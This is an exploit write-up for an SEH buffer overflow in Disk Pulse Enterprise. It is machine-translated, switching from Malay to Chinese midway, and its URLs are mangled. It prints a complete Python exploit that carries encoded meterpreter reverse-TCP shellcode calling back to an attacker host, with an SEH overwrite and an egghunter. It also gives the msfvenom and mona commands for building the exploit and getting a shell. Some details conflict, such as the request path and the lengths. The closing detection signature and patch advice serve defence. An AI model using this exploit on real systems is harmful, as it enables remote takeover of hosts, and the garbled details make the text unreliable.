Rumah > Artikel > Operasi dan penyelenggaraan > Bagaimana untuk melaksanakan analisis kelemahan aplikasi Disk Pulse Enterprise Window
Disk Pulse Enenterprise ialah perisian yang memantau perubahan cakera. Ia boleh menyambung dan mengurus perisian melalui port pengurusan 9120 atau tetingkap pengurusan web 80 untuk memantau perubahan cakera. Terdapat perpustakaan pautan dinamik libspp.dll dalam Disk Pulse Enterprise, yang mengandungi beberapa fungsi yang bertanggungjawab untuk operasi HTTP Masalah berlaku dalam perpustakaan pautan dinamik ini Apabila memproses data pos, kerana tiada kawalan panjang yang ketat pada data pos. Ini membawa kepada limpahan penimbal yang disebabkan oleh menyalin data ke memori tidak sah apabila melaksanakan data yang diperoleh, mencetuskan pemprosesan tingkah laku abnormal SEH dan akhirnya mengawal EIP untuk melaksanakan kod arbitrari.
Pautan muat turun perisian: https://[www.exploit-db.com/apps/a679e77e57bf178b22bff5e86409a451-diskpulseent_setup_v9.0.34.exe](http://www.exploit.com /a679e77e57bf178b22bff5e86409a451-diskpulseent_setup_v9.0.34.exe)
Alamat pendedahan kerentanan: https://[www.exploit-db.com/exploits/40452.com/exploits/40452](http://wwwbexploits.com /40452)
windows 7 x86: Persekitaran sistem
IDA pro: Alat analisis statik
Kebal Penyahpepijat: Penyahpepijat berdedikasi untuk analisis kerentanan
WinDbg: Penyahpepijat Kerentanan
Mari kita lihat secara ringkas POC, yang lebih komprehensif satu kelemahan limpahan Penampan. Pengendali pengecualian berstruktur SEH dan teknologi pemburu telur dibincangkan dalam artikel ini.
Mereka yang biasa dengan pengaturcaraan mungkin biasa dengan Pengendalian Pengecualian Berstruktur (SEH), mekanisme penetingkap untuk mengendalikan pengecualian perkakasan dan perisian. Ia biasanya dinyatakan sebagai blok cuba/tangkap jumlah cuba/bahagi.
Ringkasnya, ia ialah teknik pengalamatan yang melaksanakan kod shell dengan mereka bentuk penanda dan melompat ke lokasi penanda lain. Teknik egghunter diperlukan apabila shellcode tidak boleh disimpan dalam buffer.
Pertama, mari analisa POC
#!/usr/bin/python import socket import sys s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) connect=s.connect(('192.168.46.160',80)) #msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.46.171 LPORT=4444 -e x86/shikata_ga_nai -b '\x00\x0a\x0d\x26' -f python --smallest buf = "" buf += "\xdb\xdf\xd9\x74\x24\xf4\xba\x92\xa7\xae\xd7\x5b\x29" buf += "\xc9\xb1\x56\x31\x53\x18\x83\xc3\x04\x03\x53\x86\x45" buf += "\x5b\x2b\x4e\x0b\xa4\xd4\x8e\x6c\x2c\x31\xbf\xac\x4a" buf += "\x31\xef\x1c\x18\x17\x03\xd6\x4c\x8c\x90\x9a\x58\xa3" buf += "\x11\x10\xbf\x8a\xa2\x09\x83\x8d\x20\x50\xd0\x6d\x19" buf += "\x9b\x25\x6f\x5e\xc6\xc4\x3d\x37\x8c\x7b\xd2\x3c\xd8" buf += "\x47\x59\x0e\xcc\xcf\xbe\xc6\xef\xfe\x10\x5d\xb6\x20" buf += "\x92\xb2\xc2\x68\x8c\xd7\xef\x23\x27\x23\x9b\xb5\xe1" buf += "\x7a\x64\x19\xcc\xb3\x97\x63\x08\x73\x48\x16\x60\x80" buf += "\xf5\x21\xb7\xfb\x21\xa7\x2c\x5b\xa1\x1f\x89\x5a\x66" buf += "\xf9\x5a\x50\xc3\x8d\x05\x74\xd2\x42\x3e\x80\x5f\x65" buf += "\x91\x01\x1b\x42\x35\x4a\xff\xeb\x6c\x36\xae\x14\x6e" buf += "\x99\x0f\xb1\xe4\x37\x5b\xc8\xa6\x5f\xa8\xe1\x58\x9f" buf += "\xa6\x72\x2a\xad\x69\x29\xa4\x9d\xe2\xf7\x33\x94\xe5" buf += "\x07\xeb\x1e\x65\xf6\x0c\x5e\xaf\x3d\x58\x0e\xc7\x94" buf += "\xe1\xc5\x17\x18\x34\x73\x12\x8e\x77\x2b\x0c\xe5\x10" buf += "\x29\x51\xe8\xbc\xa4\xb7\x5a\x6d\xe6\x67\x1b\xdd\x46" buf += "\xd8\xf3\x37\x49\x07\xe3\x37\x80\x20\x8e\xd7\x7c\x18" buf += "\x27\x41\x25\xd2\xd6\x8e\xf0\x9e\xd9\x05\xf0\x5f\x97" buf += "\xed\x71\x4c\xc0\x89\x79\x8c\x11\x3c\x79\xe6\x15\x96" buf += "\x2e\x9e\x17\xcf\x18\x01\xe7\x3a\x1b\x46\x17\xbb\x2d" buf += "\x3c\x2e\x29\x11\x2a\x4f\xbd\x91\xaa\x19\xd7\x91\xc2" buf += "\xfd\x83\xc2\xf7\x01\x1e\x77\xa4\x97\xa1\x21\x18\x3f" buf += "\xca\xcf\x47\x77\x55\x30\xa2\x0b\x92\xce\x30\x24\x3b" buf += "\xa6\xca\x74\xbb\x36\xa1\x74\xeb\x5e\x3e\x5a\x04\xae" buf += "\xbf\x71\x4d\xa6\x4a\x14\x3f\x57\x4a\x3d\xe1\xc9\x4b" buf += "\xb2\x3a\xfa\x36\xbb\xbd\xfb\xc6\xd5\xd9\xfc\xc6\xd9" buf += "\xdf\xc1\x10\xe0\x95\x04\xa1\x57\xa5\x33\x84\xfe\x2c" buf += "\x3b\x9a\x01\x65" #pop pop ret 1001A333 nseh = "\xEB\x0B\x90\x90" seh = "\x33\xA3\x01\x10" egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74" egghunter += "\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7" evil = "POST /admin HTTP/1.1\r\n" evil += "Host: 192.168.46.160\r\n" evil += "User-Agent: Mozilla/5.0\r\n" evil += "Connection: close\r\n" evil += "Accept: textml,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n" evil += "Accept-Language: en-us,en;q=0.5\r\n" evil += "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n" evil += "Keep-Alive: 300\r\n" evil += "Proxy-Connection: keep-alive\r\n" evil += "Content-Type: application/x-www-form-urlencoded\r\n" evil += "Content-Length: 21000\r\n\r\n" evil += "\x41" * 12292 #subtract/add for payload evil += "w00tw00t" evil += "\x90" * 20 evil += buf evil += "\x90" * 50 evil += "\x42" * 1554 evil += nseh evil += seh evil += "\x90" * 20 evil += egghunter evil += "\x90" * 7000 print 'Sending evil buffer...' s.send(evil) print 'Payload Sent!' s.close()
Penyerang membina pakej permintaan http Ia boleh dilihat bahawa permintaan siaran, urlnya ialah /log masuk, panjang kandungan: 17000. 12292 "x41" bait telah dihantar, kemudian "w00tw00t" 8 bait telah dihantar, selepas itu 20 "X90" NOP bait telah dihantar, selepas itu buf dihantar, ditambah 50 NOP, 1614 "X42", Seterusnya ialah mekanisme pengendalian pengecualian bagi SEH (pelajar yang tidak tahu banyak boleh mengetahui lebih lanjut mengenainya), dan kemudian kod pelaksanaan egghunter, yang secara kasarnya bermaksud melompat ke tempat yang mengandungi dua "w00t" untuk pelaksanaan. Yang tinggal hanyalah mengisi penimbal.
Seterusnya kami menggunakan Wen DBG untuk membuka versi aplikasi yang terdedah.
Hantar muatan untuk mencetuskan kelemahan. Masukkan g, alamat pemulangan ditimpa dan kb melihat timbunan panggilan.
Di sini fungsi GetNextString SCA_HttpParser libspp.dll dipanggil Seterusnya, atur cara memasuki pemprosesan tingkah laku abnormal SHE dan menimpa Pengendali SEH untuk melaksanakan kod.
Buka IDA dan analisa titik 10092822. Kelas SCA_HttpParse dalam libspp bertanggungjawab untuk memproses beberapa operasi berkaitan HTTP. Terdapat fungsi bernama ExtractPostData yang bertanggungjawab untuk memproses data pasca Letakkan titik putus di pintu masuk daripada fungsi ini. Alamat kemasukan fungsi ini ialah 10092510
Penimbal penghantaran menggunakan POC pengganti, mencetuskan kelemahan, seperti yang ditunjukkan dalam rajah di bawah:
Semak situasi pemindahan parameter Kemudian data dihantar sebagai parameter kedua Ambil perhatian bahawa ia dihantar sepenuhnya.
Teruskan penjejakan satu langkah di sini dan capai fungsi GetNetString yang dinyatakan sebelum ini.
Fungsi ini akan melakukan satu perkara, iaitu untuk memisahkan parameter pertama, iaitu data kemudian, dan memisahkan setiap bahagian untuk pemprosesan seterusnya, langkah demi langkah Walau bagaimanapun, anda dapat melihat bahawa selepas memasukkan GetNextString buat kali pertama, data pertama dipecahkan.
Nama pengguna dipisahkan buat kali pertama Seterusnya, masukkan GetNextString sekali lagi untuk mula membelah rentetan kedua ini akan melakukan satu siri operasi penyalinan.
这个LOC块负责拷贝,其中10092822地址就是触发漏洞的关键位置,ESI是待拷贝的缓冲区首地址,EDX是拷贝长度,CL是拷贝内容,这里是一个字一个字拷贝的。
因此,当超过开辟缓冲区大小的时候,就会引发向无效地址拷贝的问题。
看一下EDX + ESI的值,可以看到,后面已经超过了开辟缓冲区的大小,后面就是无效缓冲区了。
之后看一下ECX的值
CL就是将ECX的低地址一个字节一个字节拷贝,这里由于向无效地址拷贝,引发SEH异常处理,最后达到代码执行,来看一下伪代码。
再来看一下GetNextString函数的伪代码。
首先发送poc,触发漏洞,使用免疫调试器,查看她链,被成功覆盖。
我们需要找到SHE的偏移量。
利用蒙娜丽莎命令生成20000个字符
!mona pattern_create 20000
运行完在C:\日志\ FTPServer的\ pattern.txt中找到。
重启程序,将其加入到脚本中的BUF中运行
使用蒙娜丽莎命令来寻找SEH偏移量
!mona findmsp
查看蒙娜丽莎的控制台输出,找到它的描述SHE偏移量的部分。
偏移量是14292。
接下来,要寻找pop pop ret的地址
使用!mona seh
打开seh.txt日志查找指向POP POP RET序列的代码块地址。
设置的shellcode里面的
nseh =“\ xEB \ x0B \ x90 \ x90”seh =“\ x33 \ xA3 \ x01 \ x10”
利用msf生成通用的shellcode,命令如下
msfvenom -a x86 --platform Windows -pwindows / meterpreter / reverse_tcp LHOST = 192.168.46.171 LPORT = 4444 -ex86 / shikata_ga_nai -b'\ x00 \ x0a \ x0d \ x26'-f python -smallest
在POC中写入的shellcode,再写入过程中,要根据BUF的长度,修改后面偏移量的值。
重启程序,打开的Metasploit
选择开发模式
输入命令,设置参数
发送poc,触发漏洞,查看metasploit反应,输入shell,可以连到到存在漏洞主机的shell。
请求方式:POST
请求路径:/登录
漏洞特征:POST +任意路径+内容长度:> 14292+ | eb | +任意字节+ | 90 90 |
升级应用程序,对应用程序打补丁或者下载新版本的应用程序,或者装载杀毒软件。
下载地址:https://www.diskpulse.com/downloads.html
Atas ialah kandungan terperinci Bagaimana untuk melaksanakan analisis kelemahan aplikasi Disk Pulse Enterprise Window. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!